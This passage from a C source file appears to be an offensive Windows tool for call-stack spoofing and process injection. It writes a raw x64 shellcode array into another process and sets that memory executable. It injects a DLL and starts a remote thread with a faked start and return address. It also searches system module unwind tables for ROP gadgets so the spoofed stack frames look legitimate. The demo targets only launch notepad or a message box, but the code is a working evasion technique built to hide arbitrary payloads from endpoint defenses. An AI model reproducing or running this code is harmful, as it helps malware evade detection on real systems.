265 | CHAR fname[] = {'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', '\0'};
266 | CHAR msg[] = { 'T', 'h', 'i', 's', ' ', 'c', 'a', 'l', 'l', ' ', 'w', 'a', 's', ' ', 's', 'p', 'o', 'o', 'f', 'e', 'd', ' ', 's', 'u', 'c', 'c', 'e', 's', 's', 'f', 'u', 'l', 'l', 'y', '!', '\0'};
267 | CHAR title[] = { 'R', 'e', 's', 'u', 'l', 't', ' ', 'o', 'f', ' ', 't', 'h', 'e', ' ', 'c', 'a', 'l', 'l', '\0'};
268 |
269 | MemCopy(&sConfig->Message, msg, sizeof(msg));
270 | MemCopy(&sConfig->Title, title, sizeof(title));
271 |
272 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(user32, (LPCSTR)fname);
273 | sConfig->Nargs = 4;
274 | sConfig->Arg01 = NULL;
275 | sConfig->Arg02 = (PVOID)&sConfig->Title;
276 | sConfig->Arg03 = (PVOID)&sConfig->Message;
277 | sConfig->Arg04 = MB_OK;
278 | }else if (TARGET == 2){
279 | // Config for ShellExecuteA (6 parameters: All registers + 2 stack parameters)
280 | CHAR fname[] = { 'S', 'h', 'e', 'l', 'l', 'E', 'x', 'e', 'c', 'u', 't', 'e', 'A', '\0' };
281 | CHAR cmd[] = { 'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 'o', 't', 'e', 'p', 'a', 'd', '.', 'e', 'x', 'e', '\0' };
282 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(shell32, (LPCSTR)fname);
283 | sConfig->Nargs = 6;
284 | sConfig->Arg01 = NULL;
285 | sConfig->Arg02 = NULL;
286 | sConfig->Arg03 = (PVOID) &cmd;
287 | sConfig->Arg04 = NULL;
288 | sConfig->Args[0] = NULL;
289 | sConfig->Args[1] = (PVOID)5;
290 | }else if (TARGET == 3){
291 | // Config for CreateProcessA (9 parameters: All registers + 5 stack parameters)
292 | CHAR fname[] = { 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'A', '\0' };
293 | CHAR cmd[] = { 'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 'o', 't', 'e', 'p', 'a', 'd', '.', 'e', 'x', 'e', '\0' };
294 | sConfig->Nargs = 10;
295 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(kernel32Base, (LPCSTR)fname);
296 |
297 | sConfig->Arg01 = (PVOID)NULL; // Module name
298 | sConfig->Arg02 = (PVOID) &cmd; // Command line
299 | sConfig->Arg03 = NULL; // Process handle not inheritable
300 | sConfig->Arg04 = NULL; // Thread handle not inheritable
301 | sConfig->Args[0] = (PVOID)FALSE; // Set handle inheritance to FALSE
302 | sConfig->Args[1] = (PVOID)0; // No creation flags
303 | sConfig->Args[2] = (PVOID)NULL; // Use parent's environment block
304 | sConfig->Args[3] = (PVOID)NULL; // Use parent's starting directory
305 | sConfig->Args[4] = (PVOID)&si; // Pointer to STARTUPINFO structure
306 | sConfig->Args[5] = (PVOID)π // Pointer to PROCESS_INFORMATION structure
307 | }
308 | else {
309 | printf("Wrong target %s, specify `#define TARGET [0|1|2|3]\n", TARGET);
310 | return;
311 | }
312 |
313 | // If the call you want to spoof has arguments, please define them here
314 | // The gadget to restore RSP will get calculated using the number of arguments on the stack
315 | addRspGadget += (DWORD)((0x08 * sConfig->Nargs) << 0x20);
316 |
317 | // Zeroing out near variables
318 | custom_memset(&addRspGadget, 0, 8);
319 |
320 | // pHandle = PICOpenProcess(pPid);
321 | int length = 605;
322 | unsigned char shellcode[] = {
323 | 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x6c, 0x24, 0x08, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x49, 0x8b, 0xcf, 0x4c, 0x8b, 0xd9, 0x4d, 0x33, 0xff, 0x48, 0x89, 0x81,
324 | 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x59, 0x50, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x8b, 0xdc, 0x48, 0x83, 0xc3, 0x18, 0x48, 0x89, 0x99, 0xb0, 0x00,
325 | 0x00, 0x00, 0x48, 0x8b, 0xec, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x41, 0xff, 0x73, 0x38, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xc5, 0x08,
326 | 0x55, 0x48, 0x83, 0xed, 0x08, 0x41, 0x52, 0x41, 0x51, 0x41, 0x50, 0x51, 0x41, 0xff, 0x73, 0x28, 0x52, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28,
327 | 0x41, 0xff, 0x73, 0x30, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x10, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0x73, 0x18, 0x6a,
328 | 0x20, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41,
329 | 0xff, 0x73, 0x08, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0xb3, 0xa0, 0x00, 0x00, 0x00, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0xb3,
330 | 0x98, 0x00, 0x00, 0x00, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x10, 0x6a, 0x01, 0x6a, 0x01, 0x41,
331 | 0xff, 0x73, 0x18, 0x6a, 0x40, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 0x41, 0xff, 0x73, 0x20, 0x48, 0x8b, 0x99, 0x98, 0x01,
332 | 0x00, 0x00, 0x48, 0x2b, 0x99, 0xa0, 0x01, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x75, 0x02, 0xeb, 0x0c, 0xff, 0xb1, 0xa8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xeb,
333 | 0x08, 0xeb, 0xed, 0xff, 0xb1, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x1c, 0x24, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40,
334 | 0x10, 0x48, 0x03, 0x41, 0x40, 0x50, 0x48, 0x33, 0xc0, 0x48, 0x8b, 0x41, 0x70, 0x48, 0x01, 0x04, 0x24, 0x48, 0x8b, 0x81, 0xc0, 0x00, 0x00, 0x00, 0x48,
335 | 0x2b, 0x41, 0x68, 0x48, 0x2b, 0x61, 0x78, 0x4c, 0x8b, 0x91, 0xa8, 0x00, 0x00, 0x00, 0x4a, 0x89, 0x04, 0x14, 0xff, 0x71, 0x48, 0x48, 0x8b, 0x81, 0x80,
336 | 0x00, 0x00, 0x00, 0x48, 0x01, 0x04, 0x24, 0x48, 0x8b, 0x81, 0x90, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xa1, 0x88, 0x00, 0x00, 0x00, 0xff, 0xb1, 0xb0, 0x00,
337 | 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x4c, 0x8b, 0x51, 0x50, 0x4c, 0x89, 0x14, 0x04, 0xff, 0x71, 0x58, 0x48, 0x8b, 0x81, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89,
338 | 0x45, 0x28, 0x48, 0x8b, 0x81, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0x00, 0x4c, 0x8b, 0xc8, 0x4c, 0x8b, 0x81, 0xc8, 0x00, 0x00, 0x00, 0x49, 0x83, 0xf8, 0x04,
339 | 0x7e, 0x1b, 0x48, 0xc7, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x49, 0xf7, 0xe0, 0x4c, 0x8b, 0xbc, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x3c, 0x04, 0x49,
340 | 0xff, 0xc8, 0xeb, 0xdf, 0x49, 0x91, 0x4c, 0x8b, 0x89, 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x91, 0xd8, 0x00,
341 | 0x00, 0x00, 0x48, 0x8b, 0x89, 0xd0, 0x00, 0x00, 0x00, 0xeb, 0x00, 0x50, 0x41, 0x53, 0x41, 0x52, 0x41, 0x51, 0x41, 0x50, 0x51, 0x41, 0xff, 0x73, 0x28,
342 | 0x52, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x10,
343 | 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0x73, 0x18, 0x6a, 0x01, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 0x41, 0xff, 0x73, 0x20,
344 | 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x08, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0xb3, 0xa0, 0x00,
345 | 0x00, 0x00, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0xb3, 0x98, 0x00, 0x00, 0x00, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30,
346 | 0x41, 0xff, 0x73, 0x10, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0x73, 0x18, 0x6a, 0x40, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60,
347 | 0x41, 0xff, 0x73, 0x20, 0xc3
348 | };
349 |
350 |
351 | if (NULL == pHandle) {
352 | printf("[-] Failed to open process\n");
353 | return;
354 | }
355 |
356 | LPVOID mem = PICVirtualAllocEx(pHandle, 4096, PAGE_READWRITE);
357 | PICCopyMemory(pHandle, mem, shellcode, length);
358 |
359 | if (!PICVirtualProtectEx(pHandle, mem, 4096, PAGE_EXECUTE_READWRITE)) {
360 | printf("[-] Failed to set memory protection: %08x\n", GetLastError());
361 | return;
362 | }
363 |
364 | LPVOID rwmem = PICVirtualAllocEx(pHandle, 4096, PAGE_READWRITE);
365 |
366 | CHAR libName[] = { 'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'c', 'r', 'y', 'p', 't', 's', 'p', '.', 'd', 'l', 'l', '\0' };
367 |
368 | PICCopyMemory(pHandle, rwmem, libName, sizeof(libName));
369 | PICInjectDllProcess(pHandle, rwmem);
370 |
371 | sConfig->DataStruct.MaximumLength = sConfig->DataStruct.Length = length;
372 | sConfig->DataStruct.Buffer = (PUCHAR)mem;
373 |
374 | sConfig->DataStructPointer = (PVOID)&sConfig->DataStruct;
375 |
376 | sConfig->CodeBaseAddress = (PVOID)mem;
377 | sConfig->CodeBaseSize = (UINT64)length;
378 |
379 | DWORD oldProtect;
380 | sConfig->OldProtection = &oldProtect;
381 |
382 | printf("CodeBaseAddress 0x%I64X\n", mem);
383 | printf("CodeBaseSize 0x%I64X\n", length);
384 |
385 | // Setting return address
386 | //returnAddress = (PVOID)_ReturnAddress();
387 | printf("_ReturnAddress() is: 0x%p\n", _ReturnAddress());
388 | printf("_AddressOfReturnAddress() is: 0x%p\n", _AddressOfReturnAddress());
389 |
390 | PVOID btit = (PVOID)GetProcAddress(kernel32Base, "BaseThreadInitThunk");
391 | if (btit == NULL) {
392 | printf("Failed to find BaseThreadInitThunk function address: %08x\n", GetLastError());
393 | return;
394 | }
395 |
396 | DWORD callOffset = FindCallInstructionOffset((uint64_t)btit, 0x30);
397 | if (callOffset == 0) {
398 | printf("Failed to find call offset for BaseThreadInitThunk\n");
399 | return;
400 | }
401 | returnAddress = (PVOID)((uint64_t)callOffset + (uint64_t)btit);
402 | printf("BaseThreadInitThunk+0x17 address: 0x%I64X\n", returnAddress);
403 |
404 | // Must be given as a stack pointer
405 | sConfig->ReturnAddress = (PVOID)returnAddress;
406 | printf("Return address: 0x%I64X\n", sConfig->ReturnAddress);
407 |
408 | printf("Address of Function to spoof: 0x%I64X\n", sConfig->SpoofFunctionPointer);
409 | BYTE test = -1;
410 | HANDLE hThread;
411 |
412 | for (int iterations = 0; iterations < 10; iterations++) {
413 |
414 | printf("\n ------------------------------------ \n");
415 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH);
416 |
417 | FindProlog(processImage, pRuntimeFunctionTableNotepad, rtLastIndexNotepad, &stackSize, &rtSaveIndexNotepad, &rtTargetOffsetNotepad);
418 | if (sConfig->FirstFrameSize == 0 || (UINT64)sConfig->FirstFrameFunctionPointer > 0x7FFFFFFFFFFF) {
419 | continue;
420 | iterations--;
421 | }
422 | //stackOffsetWhereRbpIsPushed = FindPushRbp(notepad, pRuntimeFunctionTableNotepad, rtLastIndexNotepad, &stackSize, &rtSaveIndexNotepad, &skip_pop_rsp_frame, &rtTargetOffsetNotepad);
423 | //stackOffsetWhereRbpIsPushed = FindPushRbp(kernelBase, pRuntimeFunctionTable, rtLastIndex, &stackSize, &rtSaveIndex, &skip_pop_rsp_frame, &rtTargetOffsetNotepad);
424 | stackOffsetWhereRbpIsPushed = FindPushRbp(wininet, pRuntimeFunctionTableWininet, rtLastIndexWininet, &stackSize, &rtSaveIndexWininet, &skip_pop_rsp_frame, &rtTargetOffsetNotepad);
425 |
426 | printf("PUSH RBP offset: 0x%X\n", stackOffsetWhereRbpIsPushed);
427 |
428 | skip_stack_pivot_gadget = 3;
429 | //FindGadget(wininet, pRuntimeFunctionTableWininet, rtLastIndexWininet, &stackSize, &rtSaveIndexWininet, &skip_jmp_gadget, 2);
430 | if (sConfig->JmpRbxGadget == NULL) {
431 | FindGadget(wininet, pRuntimeFunctionTableWininet, rtLastIndexWininet, &stackSize, &rtSaveIndexWininet, &skip_jmp_gadget, 0);
432 | }
433 | // Fallback if the gadget in wininet is not found
434 | if (sConfig->JmpRbxGadget == NULL) {
435 | FindGadget(kernelBase, pRuntimeFunctionTable, rtLastIndex, &stackSize, &rtSaveIndex, &skip_jmp_gadget, 3);
436 | sConfig->JmpRbxGadget = (PVOID)((UINT64)sConfig->JmpRbxGadget);
437 | }
438 | else {
439 | sConfig->JmpRbxGadget = (PVOID)((UINT64)sConfig->JmpRbxGadget - 0x2);
440 | }
441 | FindGadget(kernelBase, pRuntimeFunctionTable, rtLastIndex, &stackSize, &rtSaveIndex, &skip_stack_pivot_gadget, 1);
442 |
443 | sConfig->TotalStackSize = sConfig->SecondFrameSize + sConfig->JmpRbxGadgetFrameSize + 0x10;
444 |
445 | sConfig->FirstFrameFunctionPointer = (PVOID)((UINT64)sConfig->FirstFrameFunctionPointer - (UINT64)processImage);
446 |
447 | startAddress = (PVOID)((UINT64)sConfig->FirstFrameFunctionPointer + (UINT64)remoteNotepad);
448 |
449 |
450 | printf("Fake Start Address: 0x%I64x\n", (UINT64)startAddress);
451 |
452 | // Every time we generate a new random offset
453 | sConfig->FirstFrameRandomOffset = FindCallInstructionOffset((uint64_t)(UINT64)sConfig->FirstFrameFunctionPointer + (UINT64)processImage, 0x100);
454 | sConfig->SecondFrameRandomOffset = FindCallInstructionOffset((uint64_t)sConfig->SecondFrameFunctionPointer, 0x100);
455 |
456 | printf("Config Address: 0x%I64x\n", (UINT64)sConfig);
457 |
458 | PrintConfig(sConfig);
459 |
460 | sConfig->KeyStruct.Buffer = (PUCHAR)((UINT64)rwmem + 0x1B0);
461 | sConfig->KeyStructPointer = (PVOID)((UINT64)rwmem + 0x1D8);
462 | sConfig->DataStructPointer = (PVOID)((UINT64)rwmem + 0x1E8);
463 | sConfig->OldProtection = (PVOID)((UINT64)rwmem + 0x18);
464 |
465 | sConfig->Arg02 = (PVOID)((UINT64)rwmem + 0x1F8);
466 | sConfig->Arg03 = (PVOID)((UINT64)rwmem + 0x220);
467 |
468 |
469 |
470 | PICCopyMemory(pHandle, rwmem, sConfig, sizeof(SPOOFER));
471 |
472 | //PrintConfig((PSPOOFER)rwmem);
473 | printf("-------------------------------------------------------------------------\n");
474 | printf(" BEFORE SHELLCODE EXECUTION \n");
475 | printf("-------------------------------------------------------------------------\n");
476 | printf("[DEBUG] Thread Start Address: 0x%p\n", startAddress);
477 | printf("[DEBUG] Shellcode in memory at: 0x%p\n", mem);
478 | printf("[DEBUG] Shellcode config in memory at: 0x%p\n", rwmem);
479 | printf("-------------------------------------------------------------------------\n");
480 | printf("[*] Press a char to continue...\n");
481 | getcharFp();
482 |
483 | hThread = PICCreateRemoteThread(pHandle, mem, startAddress, rwmem);
484 |
485 | printf("-------------------------------------------------------------------------\n");
486 | printf(" AFTER SHELLCODE EXECUTION \n");
487 | printf("-------------------------------------------------------------------------\n");
488 | printf("[DEBUG] Shellcode in memory at: 0x%p\n", mem);
489 | printf("[DEBUG] Shellcode config in memory at: 0x%p\n", rwmem);
490 | printf("-------------------------------------------------------------------------\n");
491 | printf("[*] Press a char to continue...\n");
492 | getcharFp();
493 |
494 |
495 | if (TARGET == 3){
496 | printf("Process: ");
497 | printf("0x%I64x\n", pi.hProcess);
498 | TerminateProcessFp(pi.hProcess, 0);
499 | }
500 | }
501 | }
502 |
503 |
504 | DWORD FindProlog(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD64 rtTargetOffset) {
505 | PUNWIND_INFO unwindInfo;
506 | BOOL saFound = FALSE;
507 | DWORD status = 0;
508 | DWORD startIndex = *prtSaveIndex;
509 | *stackSize = 0;
510 |
511 | for (DWORD i = *prtSaveIndex + 1; i < rtLastIndex; i++)
512 | {
513 |
514 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData);
515 |
516 | /*
517 | if ((unwindInfo->Flags | UNW_FLAG_UHANDLER) != unwindInfo->Flags){
518 | // Skip unwind info that is not a prolog
519 | continue;
520 | }
521 | */
522 |
523 | status = GetStackFrameSize(moduleBase, (PVOID)unwindInfo, stackSize);
524 | if (*stackSize <= 0x48) {
525 | continue;
526 | }
527 |
528 | if (status != 0) {
529 | *prtSaveIndex = i;
530 | break;
531 |
532 | /*
533 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunctionTable[i].BeginAddress; j < (UINT64)moduleBase + pRuntimeFunctionTable[i].EndAddress; j++) {
534 |
535 | if (*(WORD*)j == 0xe1ff) {
536 | saFound = TRUE;
537 | startAddress = (PVOID)j;
538 | }
539 | }
540 | if(saFound){
541 | *prtSaveIndex = i;
542 | break;
543 | }
544 | */
545 |
546 |
547 | }
548 | }
549 |
550 | if (startIndex != *prtSaveIndex){
551 | printf("Module base 0x%I64X\n", moduleBase);
552 | printf("Module rt beginaddress 0x%I64X\n", (UINT64)pRuntimeFunctionTable[*prtSaveIndex].BeginAddress);
553 |
554 | *rtTargetOffset = (DWORD64)((UINT64)moduleBase + (UINT64)pRuntimeFunctionTable[*prtSaveIndex].BeginAddress);
555 | sConfig->FirstFrameFunctionPointer = (PVOID)*rtTargetOffset;
556 | sConfig->FirstFrameSize = *stackSize;
557 | }
558 |
559 | printf("First Frame FP: 0x%I64X\n", *rtTargetOffset);
560 | printf("First Frame stack size: 0x%lx\n", *stackSize);
561 |
562 | printf("Return address: 0x%I64X\n", (ULONGLONG)(moduleBase + *stackSize));
563 |
564 | return status;
565 | }
566 |
567 |
568 |
569 | DWORD FindPushRbp(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, PDWORD64 rtTargetOffset) {
570 | PUNWIND_INFO unwindInfo;
571 | DWORD pdwCallOffset = 0;
572 | DWORD status = 0;
573 | DWORD suitableFrames = 0;
574 | *stackSize = 0;
575 |
576 |
577 | for (DWORD i = 0; i < rtLastIndex; i++)
578 | {
579 |
580 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData);
581 | status = GetStackFrameSizeWhereRbpIsPushedOnStack(moduleBase, (PVOID)unwindInfo, stackSize);
582 |
583 | if (0 != status) {
584 | suitableFrames++;
585 | if (*skip >= suitableFrames) {
586 | // Let's try another frame
587 | continue;
588 | }
589 | *skip = suitableFrames;
590 | printf("Breaking at: %d\n", i);
591 | *prtSaveIndex = i;
592 | break;
593 | }
594 | }
595 |
596 | *rtTargetOffset = (DWORD64)((UINT64)moduleBase + (UINT64)pRuntimeFunctionTable[*prtSaveIndex].BeginAddress);
597 | sConfig->SecondFrameFunctionPointer = (PVOID)*rtTargetOffset;
598 | sConfig->SecondFrameSize = *stackSize;
599 | sConfig->StackOffsetWhereRbpIsPushed = status;
600 |
601 | printf("Second Frame FP: 0x%I64X\n", *rtTargetOffset);
602 | printf("Second Frame stack size: 0x%lx\n", *stackSize);
603 |
604 | printf("Return address: 0x%I64X\n", (ULONGLONG)(moduleBase + *stackSize));
605 |
606 |
607 | return status;
608 | }
609 |
610 |
611 | VOID FindGadget(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, DWORD gadgetType) {
612 | DWORD gadgets = 0;
613 | DWORD status;
614 | PUNWIND_INFO unwindInfo;
615 | DWORD addRspGadget = ADD_RSP_0x38;
616 |
617 | if (sConfig->Nargs > 8) {
618 | addRspGadget = ADD_RSP_0x80;
619 | }
620 |
621 | addRspGadget += (DWORD)((0x08 * sConfig->Nargs) << 24);
622 |
623 | printf("ADD RSP Gadget: 0x%x\n", (addRspGadget & 0x00FFFFFF));
624 |
625 | for (DWORD i = 0; i < rtLastIndex; i++)
626 | {
627 | BOOL gadgetFound = FALSE;
628 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunctionTable[i].BeginAddress; j < (UINT64)moduleBase + pRuntimeFunctionTable[i].EndAddress; j++) {
629 |
630 | if (
631 | (
632 | (
633 | (*(DWORD*)j == addRspGadget && *(BYTE*)(j + 4) == RET && sConfig->Nargs <= 8)
634 | ||
635 | ((*(DWORD*)j & 0x00FFFFFF) == (addRspGadget & 0x00FFFFFF) && *(DWORD*)(j + 2) >= (0x08 * sConfig->Nargs) && *(BYTE*)(j + 7) == RET && sConfig->Nargs > 8)
636 | ) && gadgetType == 1
637 | ) || (
638 | *(WORD*)j == JMP_PTR_RBX && (gadgetType == 0 || gadgetType == 3))
639 | || (
640 | (*(WORD*)j == PUSH_RBX || *(WORD*)j == JMP_RBX) && gadgetType == 2)
641 | ) {
642 |
643 | *stackSize = 0;
644 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData);
645 | status = GetStackFrameSizeIgnoringUwopSetFpreg(moduleBase, (PVOID)unwindInfo, stackSize);
646 |
647 | if (status != 0) {
648 | gadgets++;
649 | if (*skip >= gadgets) {
650 | // Let's try another gadget
651 | continue;
652 | }
653 | *skip = gadgets;
654 |
655 | if (gadgetType == 1){
656 | sConfig->AddRspXGadget = (PVOID)j;
657 | sConfig->AddRspXGadgetFrameSize = *stackSize;
658 | gadgetFound = TRUE;
659 | *prtSaveIndex = i;
660 | printf("Breaking at: %d \n", i);
661 | printf("Gadget Address: 0x%I64X \n", j);
662 | printf("ADD RSP, X ; RET - Frame Stack size: 0x%lx \n", *stackSize);
663 | }
664 | else if (gadgetType == 2){
665 | sConfig->JmpRbxGadget = (PVOID)j;
666 | sConfig->JmpRbxGadgetFrameSize = *stackSize;
667 | gadgetFound = TRUE;
668 | *prtSaveIndex = i;
669 | printf("Breaking at: %d \n", i);
670 | printf("Gadget Address: 0x%I64X \n", j);
671 | printf("PUSH RBX ; RET - Frame Stack size: 0x%lx \n", *stackSize);
672 | }
673 | else if (gadgetType == 3) {
674 | sConfig->JmpRbxGadget = (PVOID)j;
675 | sConfig->JmpRbxGadgetFrameSize = *stackSize;
676 | gadgetFound = TRUE;
677 | *prtSaveIndex = i;
678 | printf("Breaking at: %d\n", i);
679 | printf("Gadget Address: 0x%I64X\n", j);
680 | printf("JMP [RBX] Frame Stack size: 0x%lx\n", *stackSize);
681 | }
682 | else {
683 | if ((*(BYTE*)(j - 0x7) == 0xe8 && *(BYTE*)(j - 0x2) == 0xd8)) {
684 | sConfig->JmpRbxGadget = (PVOID)j;
685 | sConfig->JmpRbxGadgetFrameSize = *stackSize;
686 | gadgetFound = TRUE;
687 | *prtSaveIndex = i;
688 | printf("Breaking at: %d\n", i);
689 | printf("Gadget Address: 0x%I64X\n", j);
690 | printf("JMP [RBX] Frame Stack size: 0x%lx\n", *stackSize);
691 | }
692 | else {
693 | continue;
694 | }
695 | }
696 | break;
697 | }
698 | }
699 | }
700 | if (gadgetFound) {
701 | break;
702 | }
703 | }
704 | }
705 |
706 |
707 | BOOL CheckForGadget(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize, PDWORD skip, DWORD gadgetType) {
708 | DWORD gadgets = 0;
709 | DWORD status;
710 | PUNWIND_INFO unwindInfo;
711 | BOOL gadgetFound = FALSE;
712 | DWORD callOffset = 1;
713 |
714 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunction->BeginAddress + 7; j < (UINT64)moduleBase + pRuntimeFunction->EndAddress - 8; j++) {
715 | //printf("0x%I64x - 0x%I64x\n", (UINT64)moduleBase, j);
716 |
717 | if (
718 | (
719 | (
720 | ((*(DWORD*)j & 0x00FFFFFF) == (ADD_RSP_0x38 & 0x00FFFFFF) && *(BYTE*)(j + 4) == RET)
721 | ||
722 | ((*(DWORD*)j & 0x00FFFFFF) == (ADD_RSP_0x80 & 0x00FFFFFF) && *(BYTE*)(j + 7) == RET)
723 | ) && gadgetType == 1
724 | ) || (
725 | (
726 | *(WORD*)j == JMP_PTR_RBX ||
727 | *(WORD*)j == JMP_RDI ||
728 | *(WORD*)j == JMP_RSI ||
729 | *(DWORD*)j == JMP_R12 ||
730 | *(DWORD*)j == JMP_R13 ||
731 | ((*(DWORD*)j) & 0x00ffffff) == JMP_RBP ||
732 | ((*(DWORD*)j) & 0x00ffffff) == JMP_R14 ||
733 | ((* (DWORD*)j) & 0x00ffffff) == JMP_R15
734 | ) && gadgetType == 0
735 | )
736 | ) {
737 |
738 | /*
739 | // But if it's not after a call... well we can't take it
740 | if (!(*(BYTE*)(j-5) == CALL_NEAR || *(WORD*)(j - 6) == CALL_NEAR_QPTR || (*(DWORD*)(j - 7) & 0x00ffffff) == CALL_FAR_QPTR)
741 | &&
742 | !(*(BYTE*)(j - 7) == CALL_NEAR || *(WORD*)(j - 8) == CALL_NEAR_QPTR || (*(DWORD*)(j - 9) & 0x00ffffff) == CALL_FAR_QPTR)
743 | &&
744 | !(*(BYTE*)(j - 9) == CALL_NEAR || *(WORD*)(j - 10) == CALL_NEAR_QPTR || (*(DWORD*)(j - 11) & 0x00ffffff) == CALL_FAR_QPTR)
745 | && gadgetType == 1
746 | ) {
747 | continue;
748 | }
749 | */
750 |
751 | *stackSize = 0;
752 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunction->UnwindData);
753 | status = GetStackFrameSizeIgnoringUwopSetFpreg(moduleBase, (PVOID)unwindInfo, stackSize);
754 |
755 | if (status != 0) {
756 | gadgets++;
757 | if (*skip >= gadgets) {
758 | // Let's try another gadget
759 | continue;
760 | }
761 | *skip = gadgets;
762 |
763 | if (gadgetType == 1) {
764 | sConfig->AddRspXGadget = (PVOID)j;
765 | sConfig->AddRspXGadgetFrameSize = *stackSize;
766 | gadgetFound = TRUE;
767 | printf("Gadget Address: 0x%I64X \n", j);
768 | printf("ADD RSP, X Frame Stack size: 0x%lx \n", *stackSize);
769 | }
770 | else {
771 | sConfig->JmpRbxGadget = (PVOID)j;
772 | sConfig->JmpRbxGadgetFrameSize = *stackSize;
773 | gadgetFound = TRUE;
774 | printf("Gadget Address: 0x%I64X\n", j);
775 | printf("JMP [RBX] Frame Stack size: 0x%lx\n", *stackSize);
776 | }
777 | break;
778 | }
779 | }
780 | }
781 | return gadgetFound;
782 | }
783 |
784 | VOID FindSuitableChain() {
785 | DWORD rtSaveIndex;
786 | DWORD stackSize;
787 | DWORD64 rtTargetOffset;
788 |
789 | DLL kernelbase;
790 | DLL kernel32;
791 | DLL ntdll;
792 | DLL mshtml;
793 | DLL root;
794 | DLL current;
795 |
796 | DWORD skip_jmp_gadget = 0;
797 | DWORD skip_stack_pivot_gadget = 0;
798 | DWORD skip_prolog_frame = 0;
799 | DWORD skip_pop_rsp_frame = 0;
800 | DWORD pdwCallOffset = 0;
801 | UINT64 puCalledFunctionAddress = 0;
802 | BOOL found = FALSE;
803 | DWORD tSize = 0;
804 |
805 | custom_memset(&kernelbase, 0, sizeof(DLL));
806 | custom_memset(&kernel32, 0, sizeof(DLL));
807 | custom_memset(&ntdll, 0, sizeof(DLL));
808 | custom_memset(&mshtml, 0, sizeof(DLL));
809 |
810 | ntdll.Handle = (HMODULE)GetModule(NTDLL_HASH);
811 | GetModuleTextSection(&ntdll);
812 |
